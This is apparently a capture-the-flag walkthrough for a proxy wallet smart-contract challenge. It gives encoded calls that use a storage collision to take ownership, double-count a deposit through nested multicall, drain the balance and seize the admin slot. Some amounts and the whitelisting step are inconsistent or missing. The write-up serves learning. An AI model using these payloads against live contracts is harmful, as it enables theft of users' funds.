We have to become owner of PuzzleWallet. In order to do that, we can call proposeNewAdmin function of proxy contract with relevant payload. This will change first storage’s value to our address. And allows us to become owner of PuzzleWallet (since it will check proxy’s first storage when we delegate call).
propose_payload = web3.eth.abi.encodeFunctionCall({
name:'proposeNewAdmin',
type:'function',
inputs:[{
type:'address',
name:'_newAdmin'
}]}, [player])
sendTransaction({from:player,to:owner,data:propose_payload})
Since we are owner now, we have to add ourself to whitelisted and change maxBalance to our address to become admin.
To change ETH balance, we need to withdraw with execute function. However, It doesn’t allow us to withdraw more than we deposited.
web3.eth.abi.encodeParameter("bytes[]",["0xd0e30db0"])
→ 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000
0xac9650d8
+ 0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000
contract.multicall([deposit_signature, multicall_sign_with_deposit_param])
contract.multicall(["0xd0e30db0","0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000"],{value: toWei("0.001")})
Now contract’s balance is 0.02 (we deposited 0.01), but user balance is 0.02.
Then we call execute to withdraw 0.02 eth and drain balance to zero.
Then set maxBalance to player address to become admin. contract.setMaxBalance(player)